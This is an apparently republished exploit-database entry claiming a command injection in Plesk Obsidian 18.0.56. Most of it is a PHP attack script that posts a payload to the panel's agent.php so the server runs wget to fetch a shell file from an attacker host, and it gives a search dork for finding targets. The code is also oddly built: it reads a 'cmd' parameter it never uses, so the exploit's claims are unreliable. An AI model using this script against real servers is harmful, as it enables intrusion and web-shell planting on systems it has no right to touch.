Plesk Obsidian 18.0.56 command injecrion
2023-11-13 06:39:4 Author: cxsecurity.com(查看原文) 阅读量:122 收藏

Plesk Obsidian 18.0.56 command injecrion

##Title :Plesk Obsidian 18.0.56 ## Author : Hamza Anonime ## Date: 2023/11/12 Dork : intitle:"Plesk Obsidian 18.0.56" Exploit: <?php $target = 'http://target.com:8443/enterprise/control/agent.php'; $cmd = $_GET['cmd']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, '0=wget+http://yourserver.com/shell.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); $exec = curl_exec($ch); curl_close($ch); ?>



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2023110010
如有侵权请联系:admin#unsafe.sh